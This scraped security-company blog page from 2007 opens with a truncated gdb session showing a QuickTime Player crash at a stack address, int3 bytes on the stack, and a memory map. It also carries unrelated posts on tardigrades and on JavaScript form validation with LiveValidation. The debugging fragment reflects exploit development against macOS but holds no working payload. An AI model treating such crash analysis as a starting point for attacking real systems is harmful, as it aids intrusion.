Reason: KERN_PROTECTION_FAILURE at address: 0xbfffd1f2
0xbfffd1f2 in ?? ()
(gdb) shell sudo dmesg | grep execution
Data/Stack execution not permitted: QuickTime Player[pid 19621] at virtual address 0xbfffd000, protections were read-write
(gdb) x/4i 0xbfffd1f2
0xbfffd1f2:	int3
0xbfffd1f3:	int3
0xbfffd1f4:	int3
0xbfffd1f5:	int3
__TEXT   91b32000-91c8d000 [ 1388K] r-x/r-x SM=COW  /usr/lib/libSystem.B.dylib
__TEXT   91939000-91a19000 [  896K] r-x/r-x SM=COW  /usr/lib/libobjc.A.dylib
__TEXT   8fe00000-8fe2e000 [  184K] r-x/rwx SM=COW  /usr/lib/dyld
__TEXT   00001000-000e6000 [  916K] r-x/rwx SM=COW  /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player
__TEXT   95f40000-9673b000 [ 8172K] r-x/r-x SM=COW  /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit
Unfortunately, Mac OS X lacks of several measures that would make exploitation less feasible:

Thu, 22 Nov 2007

Extreme survivability

Without making a funny analogy between truly solid HIPS solutions and those tough organisms called extremophiles, today's entry isn't really technical per-se. Sometimes it's good to take a look over something else.

Tardigrades

The Tardigrades (aka “water bears”) can be classified as arthropods (like insects, arachnids...) because of their segmented body. They are known because of being extremely resistant to a wide range of normally lethal conditions, namely: extreme temperatures, radiation, dehydration and extreme pressures. One of their impressive treats is their ability to lower the metabolism exponentially, and preserving themselves over long time with no water.

This is known as “cryptobiosis”; when the environment becomes hospitable again, the organism reverses back to its normal metabolic state and effectively comes back to life. Imagine an animal that has been standing still for over a decade, after post-apocalyptic events that no other species have been able to overcome, and finds its way back to a devastated world. How does it feel to be the toughest animal on Earth?

Let's see a few of the conditions that these little animals can resist:

Research of these life forms could lead to advances in treatment of certain diseases. It's simply amazing how resistant these little animals are.

Hopefully a HIPS half as tough as a tardigrade could bring some light to the rather depressing world of so-called security software!

Sat, 17 Nov 2007

Design-ish forms with live validation

One of the most important features of our content management system is its usability and careful design. We faced a complicated issue with forms: it's not that uncommon to use tables for a fluid layout, easy to customize using CSS. The typical table-less solution involves using floating labels to the left, with fixed width, and input fields to the right. We've seen designs where a help text could be neatly displayed right next to the input, using tables.

Always perform server-side validation and don't require JavaScript in forms!

This allows support in possibly every web browser out there, without compatibility issues. The code looks clean too.Another feature that boosts the usability of forms is live data input validation. For security reasons, you should never rely on client-side validation, but it comes as an extremely useful aid for showing the user if there's anything wrongly formatted that requires fixing, before wasting time submitting the form. A table layout based form with help

We came across LiveValidation (quite an appropriate name), a neat Prototype-compatible JavaScript library for automating data validation. It's free ( MIT license, for personal and commercial projects) and compatible with every major browser we've tested.

Our contact form
LiveValidation is a small open source javascript library built for giving users real-time validation information as they fill out forms. Not only that, but it serves as a sophisticated validation library for any validations you need to make elsewhere in your javascript, it is not just limited to form fields

An example:
var fullName     = new LiveValidation('contact_full_name', {validMessage:"OK"});
var companyName  = new LiveValidation('contact_company', {validMessage:"Thank you!"});
var emailAddress = new LiveValidation('contact_email', {validMessage:"OK"});
var theReferrer  = new LiveValidation('contact_referrer', {validMessage:"Thank you!"});
var theWebsite   = new LiveValidation('contact_website', {validMessage:"Thank you!"});
var phoneNumber  = new LiveValidation('contact_phone', {validMessage:"Thank you!"});fullName.add(Validate.Presence);
validateName(fullName);
validateName(companyName);
validateEmail(emailAddress);
validatePhone(phoneNumber);
validateUri(theWebsite);

You will notice the presence of some functions that don't come from LiveValidation. Those are some wrappers that we have included in our JavaScript code for avoiding code bloat. We needed validation of URI input and phone numbers:

var RegexpURI     = /((www|http)(\W+\S+[^).,:;?\]\} \r\n$]+))/i;
var RegexpPhone   = /(\+)?([-\._\(\) ]?[\d]{3,20}[-\._\(\) ]?){2,10}/;(...)

function validateEmail(e) {
 e.add(Validate.Presence);
 e.add(Validate.Email);
}

function validateUri(uri) {
 uri.add(Validate.Format, { pattern: RegexpURI,
        failureMessage: "Must be a valid URI!"

    });
}

function validatePhone(phone) {
 phone.add(Validate.Format, { pattern: RegexpPhone,
        failureMessage: "Must be a valid phone number (ex. +123-45678-908)!"
    });
}

Nice? Check out the documentation and download the library.

Finally, we are up and running!

Finally we decided that Mephisto wasn't yet the right solution for us, and until we have time to develop a proper blog engine in place, we are going to keep this going. We are damn busy at the moment, hence why our time for blogging is really limited. But we'll try to keep interesting news around, stay tuned :-).

We are sorry about the not-so impressive looking current design, but this is being worked on behind the scenes.

Navigation

Archives

Syndication

Subscribe to our feed

Links

Send a tip

Meta

Powered by Python
Powered by (modified) Pybloxsom 100% free of PHP
Valid CSS!
Valid XHTML 1.0 Strict

License

Creative Commons License
Subreption blog by Subreption LLC is Licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License.